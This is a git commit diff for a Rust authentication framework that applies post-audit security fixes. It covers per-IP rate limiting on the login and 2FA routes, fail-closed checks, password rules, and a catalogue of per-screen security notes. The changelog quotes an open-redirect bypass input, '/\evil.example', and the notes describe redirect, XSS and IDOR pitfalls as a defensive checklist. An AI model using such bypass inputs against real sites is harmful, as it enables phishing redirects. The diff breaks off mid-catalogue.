premiere passe secure fix après audit gitrust

EBO <eric.bouhana@softalys.com> committé le 2026-09-18 07:53

fb226e327fe0b91113f49e1a1876a42101341746

1 parent(s)

36 fichiers modifiés +6268 -397
M CHANGELOG.md
+35 -0
@@ -5,6 +5,41 @@ All notable changes to this project are documented in this file.
5 5 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6 6 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7 7
8 +## [1.0.1] - 2026-09-18 — Security
9 +
10 +Patch de sécurité (pas de nouvelle API publique). Fenêtre d'adoption **14 jours**
11 +pour les consommateurs ([`docs/RUSTWARDEN_EVOLUTION_PROCESS.md`](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §9).
12 +
13 +### Security
14 +
15 +- **E-3 / IP rate-limit** — `run()` sert via `into_make_service_with_connect_info` ;
16 + layer `auth_ip_rate_limit` sur login, register, refresh, forgot-password, 2FA
17 + verify et resend-verification. Le budget n'est plus global `auth:unknown`.
18 +- **E-3 / TOTP** — plafond *somme* des tentatives par utilisateur (15 / 15 min)
19 + au lieu de compter les challenges saturés ; anti-rejeu in-process du même
20 + pas TOTP (TTL 90 s). Pas de migration `last_used_step` (RFC 0037).
21 +- **C-7** — `JWT_SECRET` rejette le placeholder CLI
22 + `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` (égalité exacte, pas de `contains`).
23 + `AdminConfig::validate` refuse `password` et
24 + `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT`. `.env.example` du wizard n'embarque plus
25 + ces littéraux.
26 +- **M-2** — `PasswordResetService::reset_password` applique
27 + `validate_password_complexity` avant le hash et avant de consommer le token.
28 +- **M-3** — limiteurs reset mot de passe / validation email partagés (`OnceLock`)
29 + au lieu d'une instance par requête ; éviction LRU au cap au lieu d'un 429 sur
30 + une clé neuve.
31 +- **M-8** — vérification des backup codes TOTP dans `spawn_blocking`.
32 +- **Force-2FA / lookup / blacklist** — fail-closed : erreur DB TOTP ou lookup
33 + utilisateur → 503 ; user absent → non authentifié ; blacklist JWT en erreur →
34 + refus. Plus de `unwrap_or(false)` / `is_ok_and` fail-open sur ces chemins.
35 +- **Admin bootstrap** — `AdminConfig::validate` + `PasswordRules` uniquement sur
36 + le chemin de *création* (un `ADMIN_PASSWORD` faible résiduel ne casse plus le
37 + boot si un admin existe déjà).
38 +- **sanitize_redirect** — normalisation `\` → `/` pour bloquer `/\evil.example`.
39 +- **Dépendances** — `bcrypt` 0.19.3, `rustls` 0.23.45, `h2` 0.4.19 (lockfile).
40 +- **PostgreSQL dev** — bind `127.0.0.1:5432` ; `POSTGRES_PASSWORD` obligatoire
41 + (`:?`, plus de fallback `pass3ord`).
42 +
8 43 ## [Unreleased]
9 44
10 45 ### Fixed
M Cargo.lock
+50 -25
@@ -75,7 +75,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
75 75 checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
76 76 dependencies = [
77 77 "cfg-if",
78 - "cipher",
78 + "cipher 0.4.4",
79 79 "cpufeatures 0.2.17",
80 80 ]
81 81
@@ -87,7 +87,7 @@ checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1"
87 87 dependencies = [
88 88 "aead",
89 89 "aes",
90 - "cipher",
90 + "cipher 0.4.4",
91 91 "ctr",
92 92 "ghash",
93 93 "subtle",
@@ -647,6 +647,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
647 647 checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
648 648
649 649 [[package]]
650 +name = "base64"
651 +version = "0.23.1"
652 +source = "registry+https://github.com/rust-lang/crates.io-index"
653 +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5"
654 +
655 +[[package]]
650 656 name = "base64ct"
651 657 version = "1.8.3"
652 658 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -663,11 +669,11 @@ dependencies = [
663 669
664 670 [[package]]
665 671 name = "bcrypt"
666 -version = "0.19.0"
672 +version = "0.19.3"
667 673 source = "registry+https://github.com/rust-lang/crates.io-index"
668 -checksum = "523ab528ce3a7ada6597f8ccf5bd8d85ebe26d5edf311cad4d1d3cfb2d357ac6"
674 +checksum = "a0cd0bd35a28836d528d2b58ad499bc3c5641d59379421b1be9eeb0c2f2b912a"
669 675 dependencies = [
670 - "base64 0.22.1",
676 + "base64 0.23.1",
671 677 "blowfish",
672 678 "getrandom 0.4.2",
673 679 "subtle",
@@ -735,12 +741,12 @@ dependencies = [
735 741
736 742 [[package]]
737 743 name = "blowfish"
738 -version = "0.9.1"
744 +version = "0.10.0"
739 745 source = "registry+https://github.com/rust-lang/crates.io-index"
740 -checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7"
746 +checksum = "62ce3946557b35e71d1bbe07ec385073ce9eda05043f95de134eb578fcf1a298"
741 747 dependencies = [
742 748 "byteorder",
743 - "cipher",
749 + "cipher 0.5.2",
744 750 ]
745 751
746 752 [[package]]
@@ -888,7 +894,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
888 894 checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
889 895 dependencies = [
890 896 "crypto-common 0.1.7",
891 - "inout",
897 + "inout 0.1.4",
898 +]
899 +
900 +[[package]]
901 +name = "cipher"
902 +version = "0.5.2"
903 +source = "registry+https://github.com/rust-lang/crates.io-index"
904 +checksum = "e8cf2a2c93cd704877c0858356ed03480ff301ee950b43f1cbe4573b088bfa6c"
905 +dependencies = [
906 + "crypto-common 0.2.2",
907 + "inout 0.2.2",
892 908 ]
893 909
894 910 [[package]]
@@ -1188,7 +1204,7 @@ version = "0.9.2"
1188 1204 source = "registry+https://github.com/rust-lang/crates.io-index"
1189 1205 checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
1190 1206 dependencies = [
1191 - "cipher",
1207 + "cipher 0.4.4",
1192 1208 ]
1193 1209
1194 1210 [[package]]
@@ -1625,7 +1641,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
1625 1641 checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
1626 1642 dependencies = [
1627 1643 "libc",
1628 - "windows-sys 0.61.2",
1644 + "windows-sys 0.59.0",
1629 1645 ]
1630 1646
1631 1647 [[package]]
@@ -2011,9 +2027,9 @@ dependencies = [
2011 2027
2012 2028 [[package]]
2013 2029 name = "h2"
2014 -version = "0.4.13"
2030 +version = "0.4.19"
2015 2031 source = "registry+https://github.com/rust-lang/crates.io-index"
2016 -checksum = "2f44da3a8150a6703ed5d34e164b875fd14c2cdab9af1252a9a1020bde2bdc54"
2032 +checksum = "ef8e5e5a340588f4452631496976cf8636d4a7ecf600239fdc27615d2530bc16"
2017 2033 dependencies = [
2018 2034 "atomic-waker",
2019 2035 "bytes",
@@ -2324,7 +2340,7 @@ dependencies = [
2324 2340 "libc",
2325 2341 "percent-encoding",
2326 2342 "pin-project-lite",
2327 - "socket2 0.6.3",
2343 + "socket2 0.5.10",
2328 2344 "system-configuration",
2329 2345 "tokio",
2330 2346 "tower-layer",
@@ -2551,6 +2567,15 @@ dependencies = [
2551 2567 ]
2552 2568
2553 2569 [[package]]
2570 +name = "inout"
2571 +version = "0.2.2"
2572 +source = "registry+https://github.com/rust-lang/crates.io-index"
2573 +checksum = "4250ce6452e92010fdf7268ccc5d14faa80bb12fc741938534c58f16804e03c7"
2574 +dependencies = [
2575 + "hybrid-array",
2576 +]
2577 +
2578 +[[package]]
2554 2579 name = "ipnet"
2555 2580 version = "2.12.0"
2556 2581 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -3027,7 +3052,7 @@ version = "0.50.3"
3027 3052 source = "registry+https://github.com/rust-lang/crates.io-index"
3028 3053 checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5"
3029 3054 dependencies = [
3030 - "windows-sys 0.61.2",
3055 + "windows-sys 0.59.0",
3031 3056 ]
3032 3057
3033 3058 [[package]]
@@ -3127,7 +3152,7 @@ version = "5.0.0"
3127 3152 source = "registry+https://github.com/rust-lang/crates.io-index"
3128 3153 checksum = "51e219e79014df21a225b1860a479e2dcd7cbd9130f4defd4bd0e191ea31d67d"
3129 3154 dependencies = [
3130 - "base64 0.22.1",
3155 + "base64 0.21.7",
3131 3156 "chrono",
3132 3157 "getrandom 0.2.17",
3133 3158 "http",
@@ -3653,7 +3678,7 @@ dependencies = [
3653 3678 "quinn-udp",
3654 3679 "rustc-hash",
3655 3680 "rustls",
3656 - "socket2 0.6.3",
3681 + "socket2 0.5.10",
3657 3682 "thiserror 2.0.18",
3658 3683 "tokio",
3659 3684 "tracing",
@@ -3690,7 +3715,7 @@ dependencies = [
3690 3715 "cfg_aliases",
3691 3716 "libc",
3692 3717 "once_cell",
3693 - "socket2 0.6.3",
3718 + "socket2 0.5.10",
3694 3719 "tracing",
3695 3720 "windows-sys 0.59.0",
3696 3721 ]
@@ -4110,14 +4135,14 @@ dependencies = [
4110 4135 "errno",
4111 4136 "libc",
4112 4137 "linux-raw-sys",
4113 - "windows-sys 0.61.2",
4138 + "windows-sys 0.59.0",
4114 4139 ]
4115 4140
4116 4141 [[package]]
4117 4142 name = "rustls"
4118 -version = "0.23.37"
4143 +version = "0.23.45"
4119 4144 source = "registry+https://github.com/rust-lang/crates.io-index"
4120 -checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4"
4145 +checksum = "0d41d731c7d2f962d1ccc364cec258de3c0e93b38c2fb3ba97ac74513048d634"
4121 4146 dependencies = [
4122 4147 "once_cell",
4123 4148 "ring",
@@ -4139,9 +4164,9 @@ dependencies = [
4139 4164
4140 4165 [[package]]
4141 4166 name = "rustls-webpki"
4142 -version = "0.103.13"
4167 +version = "0.103.15"
4143 4168 source = "registry+https://github.com/rust-lang/crates.io-index"
4144 -checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e"
4169 +checksum = "f3c3cf1d8b1e7d4927e2d154c3fcb02979afb9939629c62cd9048d4f07b60ac2"
4145 4170 dependencies = [
4146 4171 "ring",
4147 4172 "rustls-pki-types",
@@ -5278,10 +5303,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
5278 5303 checksum = "82a72c767771b47409d2345987fda8628641887d5466101319899796367354a0"
5279 5304 dependencies = [
5280 5305 "fastrand",
5281 - "getrandom 0.4.2",
5306 + "getrandom 0.3.4",
5282 5307 "once_cell",
5283 5308 "rustix",
5284 - "windows-sys 0.61.2",
5309 + "windows-sys 0.59.0",
5285 5310 ]
5286 5311
5287 5312 [[package]]
M README.md
+3 -0
@@ -102,6 +102,9 @@ Il genere un projet autonome avec :
102 102 ```bash
103 103 # Apres generation
104 104 cd mon-app
105 +# PostgreSQL n'ecoute que 127.0.0.1:5432. Copier database/env.sample vers
106 +# database/.env et definir POSTGRES_PASSWORD (obligatoire, pas de repli).
107 +cp database/env.sample database/.env
105 108 cd database && docker compose up -d && cd ..
106 109 cargo run
107 110 # Ouvrir http://localhost:3000
M crates/rustwarden-core/src/app.rs
+13 -3
@@ -106,6 +106,12 @@ impl RustwardenApp {
106 106 }
107 107
108 108 /// Get the assembled router (for advanced usage, e.g. testing).
109 + ///
110 + /// Callers who serve this router themselves **must** use
111 + /// [`axum::Router::into_make_service_with_connect_info`] with
112 + /// [`std::net::SocketAddr`]. Without that extension, the auth IP
113 + /// rate-limit cannot see the peer address and keys every request as
114 + /// `unknown`. [`RustwardenApp::run`] does this automatically.
109 115 pub fn into_router(self) -> Router {
110 116 self.router
111 117 }
@@ -114,9 +120,13 @@ impl RustwardenApp {
114 120 pub async fn run(self) -> anyhow::Result<()> {
115 121 let listener = tokio::net::TcpListener::bind(&self.address).await?;
116 122 tracing::info!("Server listening on http://{}", self.address);
117 - axum::serve(listener, self.router)
118 - .await
119 - .map_err(|e| anyhow::anyhow!("Server error: {}", e))
123 + axum::serve(
124 + listener,
125 + self.router
126 + .into_make_service_with_connect_info::<std::net::SocketAddr>(),
127 + )
128 + .await
129 + .map_err(|e| anyhow::anyhow!("Server error: {}", e))
120 130 }
121 131 }
122 132
M crates/rustwarden-core/src/auth/handlers.rs
+4 -30
@@ -284,17 +284,12 @@ impl IntoResponse for EmailVerifiedTemplate {
284 284 /// ```
285 285 pub async fn login(
286 286 State(db): State<DatabaseConnection>,
287 - headers: HeaderMap,
287 + _headers: HeaderMap,
288 288 _user_session: Session,
289 289 Extension(auth_config): Extension<Arc<AuthConfig>>,
290 290 hooks: Option<Extension<Arc<dyn RustwardenHooks>>>,
291 291 Json(payload): Json<LoginRequest>,
292 292 ) -> Result<Response, AppError> {
293 - // SEC-C2: Per-IP rate limiting
294 - if let Err(resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) {
295 - return Ok(resp);
296 - }
297 -
298 293 tracing::info!("Login request received for user: {}", payload.username);
299 294
300 295 // Validate input
@@ -966,17 +961,10 @@ pub async fn logout(
966 961 /// ```
967 962 pub async fn refresh_token(
968 963 State(db): State<DatabaseConnection>,
969 - headers: HeaderMap,
964 + _headers: HeaderMap,
970 965 Extension(auth_config): Extension<Arc<AuthConfig>>,
971 966 Json(payload): Json<RefreshRequest>,
972 967 ) -> Result<Response, AppError> {
973 - // SEC-C2: Per-IP rate limiting
974 - if let Err(_resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) {
975 - return Err(AppError::Validation(
976 - "Too many requests. Please try again later.".to_string(),
977 - ));
978 - }
979 -
980 968 // Validate input
981 969 payload.validate().map_err(|e| {
982 970 tracing::warn!("Refresh request validation failed: {}", e);
@@ -1136,16 +1124,9 @@ mod tests {
1136 1124 /// ```
1137 1125 pub async fn forgot_password(
1138 1126 State(db): State<DatabaseConnection>,
1139 - headers: HeaderMap,
1127 + _headers: HeaderMap,
1140 1128 Json(payload): Json<ForgotPasswordRequest>,
1141 1129 ) -> Result<impl IntoResponse, AppError> {
1142 - // SEC-C2: Per-IP rate limiting
1143 - if let Err(_resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) {
1144 - return Err(AppError::Validation(
1145 - "Too many requests. Please try again later.".to_string(),
1146 - ));
1147 - }
1148 -
1149 1130 // Validate email format
1150 1131 payload
1151 1132 .validate()
@@ -1423,17 +1404,10 @@ pub async fn resend_verification_by_username(
1423 1404 /// - Email verification is required
1424 1405 pub async fn register(
1425 1406 State(db): State<DatabaseConnection>,
1426 - headers: HeaderMap,
1407 + _headers: HeaderMap,
1427 1408 hooks: Option<Extension<Arc<dyn RustwardenHooks>>>,
1428 1409 Json(payload): Json<RegisterRequest>,
1429 1410 ) -> Result<Json<RegisterResponse>, AppError> {
1430 - // SEC-C2: Per-IP rate limiting
1431 - if crate::middleware::rate_limit::check_auth_rate_limit(&headers).is_err() {
1432 - return Err(AppError::Validation(
1433 - "Too many requests. Please try again later.".to_string(),
1434 - ));
1435 - }
1436 -
1437 1411 tracing::info!(
1438 1412 "Registration request received for username: {}",
1439 1413 payload.username
M crates/rustwarden-core/src/auth/routes.rs
+145 -14
@@ -33,24 +33,15 @@ use crate::auth::handlers;
33 33 /// .await?;
34 34 /// ```
35 35 pub fn auth_api_routes() -> Router<DatabaseConnection> {
36 - Router::new()
36 + let limited = Router::new()
37 37 .route("/api/v1/auth/login", post(handlers::login))
38 38 .route("/api/v1/auth/register", post(handlers::register))
39 39 .route("/api/v1/auth/refresh", post(handlers::refresh_token))
40 - .route("/api/v1/auth/logout", post(handlers::logout))
41 - .route("/api/v1/auth/me", get(handlers::get_current_user))
42 40 .route(
43 41 "/api/v1/auth/forgot-password",
44 42 post(handlers::forgot_password),
45 43 )
46 - .route(
47 - "/api/v1/auth/reset-password",
48 - post(handlers::reset_password),
49 - )
50 - .route(
51 - "/api/v1/auth/verify-email/{token}",
52 - get(handlers::verify_email),
53 - )
44 + .route("/api/v1/auth/2fa/verify", post(handlers::verify_2fa))
54 45 .route(
55 46 "/api/v1/auth/resend-verification",
56 47 post(handlers::resend_verification),
@@ -59,14 +50,38 @@ pub fn auth_api_routes() -> Router<DatabaseConnection> {
59 50 "/api/v1/auth/resend-verification/by-username",
60 51 post(handlers::resend_verification_by_username),
61 52 )
62 - .route("/api/v1/auth/2fa/verify", post(handlers::verify_2fa))
53 + .layer(axum::middleware::from_fn(
54 + crate::middleware::rate_limit::auth_ip_rate_limit,
55 + ));
56 +
57 + let unlimited = Router::new()
58 + .route("/api/v1/auth/logout", post(handlers::logout))
59 + .route("/api/v1/auth/me", get(handlers::get_current_user))
60 + .route(
61 + "/api/v1/auth/reset-password",
62 + post(handlers::reset_password),
63 + )
64 + .route(
65 + "/api/v1/auth/verify-email/{token}",
66 + get(handlers::verify_email),
67 + );
68 +
69 + limited.merge(unlimited)
63 70 }
64 71
65 72 #[cfg(test)]
66 73 mod tests {
67 74 use super::auth_api_routes;
68 - use axum::{Json, Router, routing::get};
69 - use sea_orm::DatabaseConnection;
75 + use axum::{
76 + Json, Router,
77 + body::Body,
78 + extract::connect_info::MockConnectInfo,
79 + http::{Request, StatusCode},
80 + routing::get,
81 + };
82 + use sea_orm::{DatabaseBackend, DatabaseConnection, MockDatabase};
83 + use std::net::SocketAddr;
84 + use tower::ServiceExt;
70 85
71 86 /// Mirrors the protected handler the CLI scaffolds into headless
72 87 /// projects. Kept in sync so the generated code's interface (the
@@ -89,4 +104,120 @@ mod tests {
89 104 let _router: Router<DatabaseConnection> =
90 105 auth_api_routes().merge(Router::new().route("/api/whoami", get(whoami)));
91 106 }
107 +
108 + /// TEST-NET-3 address so this budget never shares `auth:unknown` with
109 + /// other tests that call `check_auth_rate_limit` without ConnectInfo.
110 + fn testnet_peer() -> SocketAddr {
111 + SocketAddr::from(([203, 0, 113, 1], 12345))
112 + }
113 +
114 + fn login_request() -> Request<Body> {
115 + Request::builder()
116 + .method("POST")
117 + .uri("/api/v1/auth/login")
118 + .header("content-type", "application/json")
119 + .body(Body::from(r#"{"username":"u","password":"p"}"#))
120 + .expect("login request")
121 + }
122 +
123 + fn logout_request() -> Request<Body> {
124 + Request::builder()
125 + .method("POST")
126 + .uri("/api/v1/auth/logout")
127 + .body(Body::empty())
128 + .expect("logout request")
129 + }
130 +
131 + fn verify_2fa_request() -> Request<Body> {
132 + Request::builder()
133 + .method("POST")
134 + .uri("/api/v1/auth/2fa/verify")
135 + .header("content-type", "application/json")
136 + .body(Body::from(r#"{"challenge_token":"dummy","code":"123456"}"#))
137 + .expect("2fa verify request")
138 + }
139 +
140 + fn auth_app_with_peer(peer: SocketAddr) -> Router {
141 + let db = MockDatabase::new(DatabaseBackend::Postgres).into_connection();
142 + auth_api_routes()
143 + .with_state(db)
144 + .layer(MockConnectInfo(peer))
145 + }
146 +
147 + #[tokio::test]
148 + async fn auth_limiter_separates_two_connect_ips() {
149 + let app_ip1 = auth_app_with_peer(testnet_peer());
150 + let app_ip2 = auth_app_with_peer(SocketAddr::from(([198, 51, 100, 1], 12345)));
151 +
152 + for i in 1..=10 {
153 + let resp = app_ip1
154 + .clone()
155 + .oneshot(login_request())
156 + .await
157 + .expect("oneshot");
158 + assert_ne!(
159 + resp.status(),
160 + StatusCode::TOO_MANY_REQUESTS,
161 + "request {i}/10 from 203.0.113.1 must not be 429"
162 + );
163 + }
164 +
165 + let eleventh = app_ip1
166 + .clone()
167 + .oneshot(login_request())
168 + .await
169 + .expect("oneshot");
170 + assert_eq!(
171 + eleventh.status(),
172 + StatusCode::TOO_MANY_REQUESTS,
173 + "11th request from 203.0.113.1 must be 429"
174 + );
175 + let retry_after = eleventh.headers().get("retry-after");
176 + assert!(
177 + retry_after.is_some_and(|v| !v.as_bytes().is_empty()),
178 + "429 must carry a non-empty Retry-After header"
179 + );
180 +
181 + let logout = app_ip1.oneshot(logout_request()).await.expect("oneshot");
182 + assert_ne!(
183 + logout.status(),
184 + StatusCode::TOO_MANY_REQUESTS,
185 + "unlimited /logout must not be 429 when the limited login budget is exhausted"
186 + );
187 +
188 + let other = app_ip2.oneshot(login_request()).await.expect("oneshot");
189 + assert_ne!(
190 + other.status(),
191 + StatusCode::TOO_MANY_REQUESTS,
192 + "first request from 198.51.100.1 must not share 203.0.113.1's exhausted budget"
193 + );
194 + }
195 +
196 + /// Distinct TEST-NET-1 IP so this budget never collides with
197 + /// `auth_limiter_separates_two_connect_ips` (203.0.113.1 / 198.51.100.1)
198 + /// on the process-wide OnceLock limiter.
199 + #[tokio::test]
200 + async fn auth_limiter_applies_to_2fa_verify() {
201 + let app = auth_app_with_peer(SocketAddr::from(([192, 0, 2, 80], 12345)));
202 +
203 + for i in 1..=10 {
204 + let resp = app
205 + .clone()
206 + .oneshot(verify_2fa_request())
207 + .await
208 + .expect("oneshot");
209 + assert_ne!(
210 + resp.status(),
211 + StatusCode::TOO_MANY_REQUESTS,
212 + "request {i}/10 to /2fa/verify from 192.0.2.80 must not be 429"
213 + );
214 + }
215 +
216 + let eleventh = app.oneshot(verify_2fa_request()).await.expect("oneshot");
217 + assert_eq!(
218 + eleventh.status(),
219 + StatusCode::TOO_MANY_REQUESTS,
220 + "11th request to /2fa/verify from 192.0.2.80 must be 429"
221 + );
222 + }
92 223 }
M crates/rustwarden-core/src/bin/screen-select/catalogue.rs
+366 -162
@@ -88,161 +88,345 @@ pub fn by_key(key: &str) -> Option<&'static Functionality> {
88 88 }
89 89
90 90 const CATALOGUE: &[Functionality] = &[
91 - Functionality { key: "authentication", label: "Authentication", always: true, screens: &[
92 - Screen { name: "Login", suggested_route: "/login", channel: Channel::Browser, auth_level: AuthLevel::Public,
93 - core_methods: "AuthService, JwtService, POST /api/v1/auth/login", io: "form login → cookie JWT / challenge 2FA",
94 - security_notes: &[
95 - "redirect post-login : n'autoriser qu'un chemin relatif same-origin (rejeter les URL absolues et `//host`) — bloque l'open redirect `?redirect=`",
96 - "flux public : ne pas divulguer si l'identifiant/email existe (message d'échec générique)",
97 - ] },
98 - ]},
99 - Functionality { key: "registration", label: "Registration", always: false, screens: &[
100 - Screen { name: "Register", suggested_route: "/register", channel: Channel::Browser, auth_level: AuthLevel::Public,
101 - core_methods: "UserService, AppSettingsService(allow_registration), POST /api/v1/auth/register", io: "form inscription",
102 - security_notes: &[
103 - "respecter `allow_registration` (403 si désactivé) ; valider/normaliser l'email côté serveur",
104 - "flux public : ne pas révéler qu'un email est déjà enregistré",
105 - ] },
106 - ]},
107 - Functionality { key: "password_reset", label: "PasswordReset", always: false, screens: &[
108 - Screen { name: "ForgotPassword", suggested_route: "/forgot-password", channel: Channel::Browser, auth_level: AuthLevel::Public,
109 - core_methods: "PasswordResetService, POST /api/v1/auth/forgot-password", io: "email → lien reset",
110 - security_notes: &[
111 - "réponse identique que l'email existe ou non (anti-énumération)",
112 - ] },
113 - Screen { name: "ResetPassword", suggested_route: "/reset-password", channel: Channel::Browser, auth_level: AuthLevel::Public,
114 - core_methods: "PasswordResetService, POST /api/v1/auth/reset-password", io: "token + nouveau mdp",
115 - security_notes: &[
116 - "le token ne doit JAMAIS être interpolé dans un `<script>` : le passer par un attribut `data-*` et le lire via `dataset` (l'escaping HTML d'Askama n'échappe pas le contexte JS ni le backslash)",
117 - "consommer le token en un seul usage ; ne pas confirmer si le token est valide avant soumission",
118 - ] },
119 - ]},
120 - Functionality { key: "email_validation", label: "EmailValidation", always: false, screens: &[
121 - Screen { name: "ResendVerification", suggested_route: "/resend-verification", channel: Channel::Browser, auth_level: AuthLevel::Public,
122 - core_methods: "EmailValidationService, POST /api/v1/auth/resend-verification", io: "renvoi email (résultat rendu par le core)",
123 - security_notes: &[
124 - "réponse identique quel que soit l'état du compte (anti-énumération) ; rate-limit les renvois",
125 - ] },
126 - ]},
127 - Functionality { key: "two_factor", label: "TwoFactor", always: false, screens: &[
128 - Screen { name: "TwoFactorChallenge", suggested_route: "/login/2fa", channel: Channel::Browser, auth_level: AuthLevel::Public,
129 - core_methods: "TotpService, POST /api/v1/auth/2fa/verify", io: "code TOTP ou backup",
130 - security_notes: &[
131 - "étape intermédiaire liée à une pré-session : rate-limit strict, ne pas révéler la validité partielle du code",
132 - ] },
133 - Screen { name: "TwoFactorSetup", suggested_route: "/settings/2fa", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
134 - core_methods: "TotpService::generate_setup/confirm/disable", io: "QR + confirmation",
135 - security_notes: &[
136 - "toute redirection de sécurité doit parser et whitelister les query params attendus — ne jamais forwarder un `RawQuery` brut",
137 - "exiger une confirmation par code avant activation ; le secret TOTP reste chiffré (CryptoService)",
138 - ] },
139 - Screen { name: "TwoFactorBackupCodes", suggested_route: "/settings/2fa/backup", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
140 - core_methods: "TotpService (backup codes)", io: "génération/affichage codes",
141 - security_notes: &[
142 - "codes affichés une seule fois, jamais logués ; ne stocker que leur hash",
143 - ] },
144 - ]},
145 - Functionality { key: "account_profile", label: "AccountProfile", always: false, screens: &[
146 - Screen { name: "Profile", suggested_route: "/profile", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
147 - core_methods: "UserService", io: "voir/éditer profil",
148 - security_notes: &[
149 - "n'exposer et n'éditer que le profil de `claims.sub`",
150 - ] },
151 - ]},
152 - Functionality { key: "password_change", label: "PasswordChange", always: false, screens: &[
153 - Screen { name: "PasswordChange", suggested_route: "/settings/password", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
154 - core_methods: "PasswordChangeService", io: "changement mdp (confirmation email)",
155 - security_notes: &[
156 - "exiger le mot de passe courant ; invalider les autres sessions après changement",
157 - ] },
158 - Screen { name: "ConfirmPasswordChange", suggested_route: "/confirm-password-change", channel: Channel::Browser, auth_level: AuthLevel::Public,
159 - core_methods: "PasswordChangeService::find_by_token/confirm_request", io: "confirme via token",
160 - security_notes: &[
161 - "valider le token côté core ; token à usage unique et expirant",
162 - ] },
163 - ]},
164 - Functionality { key: "session_management", label: "SessionManagement", always: false, screens: &[
165 - Screen { name: "SessionsList", suggested_route: "/settings/sessions", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner,
166 - core_methods: "RefreshTokenService::list_active/revoke, JwtBlacklistService", io: "liste sessions + révoquer",
167 - security_notes: &[
168 - "IDOR : lister et révoquer uniquement les sessions dont l'`id` appartient à `claims.sub` (vérifier l'appartenance avant révocation)",
169 - ] },
170 - ]},
171 - Functionality { key: "preferences", label: "Preferences", always: false, screens: &[
172 - Screen { name: "Preferences", suggested_route: "/settings/preferences", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
173 - core_methods: "UserPreferencesService", io: "préférences utilisateur",
174 - security_notes: &[
175 - "ne modifier que les préférences de `claims.sub`",
176 - ] },
177 - ]},
178 - Functionality { key: "oauth_linking", label: "OAuthLinking", always: false, screens: &[
179 - Screen { name: "OAuthAccountLinking", suggested_route: "/settings/oauth", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
180 - core_methods: "OAuthService, GET /api/v1/auth/oauth/{provider}/redirect", io: "lier/délier comptes (+ boutons login)",
181 - security_notes: &[
182 - "vérifier le paramètre `state` anti-CSRF au retour du provider",
183 - "données renvoyées par l'API en `textContent`, jamais `innerHTML` ; URLs construites via `encodeURIComponent`",
184 - ] },
185 - ]},
186 - Functionality { key: "teams", label: "Teams", always: false, screens: &[
187 - Screen { name: "TeamsManagement", suggested_route: "/teams", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner,
188 - core_methods: "TeamService (create/add_member/…), TeamRole", io: "équipes + membres (owner/admin/member)",
189 - security_notes: &[
190 - "IDOR/RBAC : vérifier le rôle de l'appelant dans CETTE équipe (`role_of`) avant chaque mutation ; owner non ré-attribuable",
191 - "à l'ajout d'un membre : message générique si l'utilisateur est introuvable (anti-énumération)",
192 - ] },
193 - ]},
194 - Functionality { key: "personal_access_tokens", label: "PersonalAccessTokens", always: false, screens: &[
195 - Screen { name: "PatManagement", suggested_route: "/settings/tokens", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner,
196 - core_methods: "PersonalTokenService::create/list_for_user/revoke", io: "créer/révoquer jetons (plaintext 1 fois)",
197 - security_notes: &[
198 - "jeton en clair affiché une seule fois, jamais reconsultable ni logué",
199 - "IDOR : révocation et listage filtrés par `claims.sub`",
200 - ] },
201 - ]},
202 - Functionality { key: "admin_users", label: "Admin · Users", always: false, screens: &[
203 - Screen { name: "AdminUsers", suggested_route: "/admin/users", channel: Channel::Browser, auth_level: AuthLevel::Admin,
204 - core_methods: "UserService, RoleService, PasswordResetService, TotpService", io: "liste + CRUD + reset",
205 - security_notes: &[
206 - "`ensure_admin()` dans le handler en plus du middleware (défense en profondeur)",
207 - "empêcher l'auto-suppression ; message générique si utilisateur introuvable",
208 - ] },
209 - ]},
210 - Functionality { key: "admin_roles", label: "Admin · Roles", always: false, screens: &[
211 - Screen { name: "AdminRoles", suggested_route: "/admin/roles", channel: Channel::Browser, auth_level: AuthLevel::Admin,
212 - core_methods: "RoleService, PermissionService", io: "liste + CRUD rôles/permissions",
213 - security_notes: &[
214 - "`ensure_admin()` en défense en profondeur ; protéger le dernier admin",
215 - "ne pas permettre l'auto-escalade de permissions",
216 - ] },
217 - ]},
218 - Functionality { key: "admin_settings", label: "Admin · Settings", always: false, screens: &[
219 - Screen { name: "AdminSettings", suggested_route: "/admin/settings", channel: Channel::Browser, auth_level: AuthLevel::Admin,
220 - core_methods: "AppSettingsService, CryptoService", io: "réglages applicatifs",
221 - security_notes: &[
222 - "`ensure_admin()` en défense en profondeur ; secrets chiffrés via CryptoService, jamais rendus en clair",
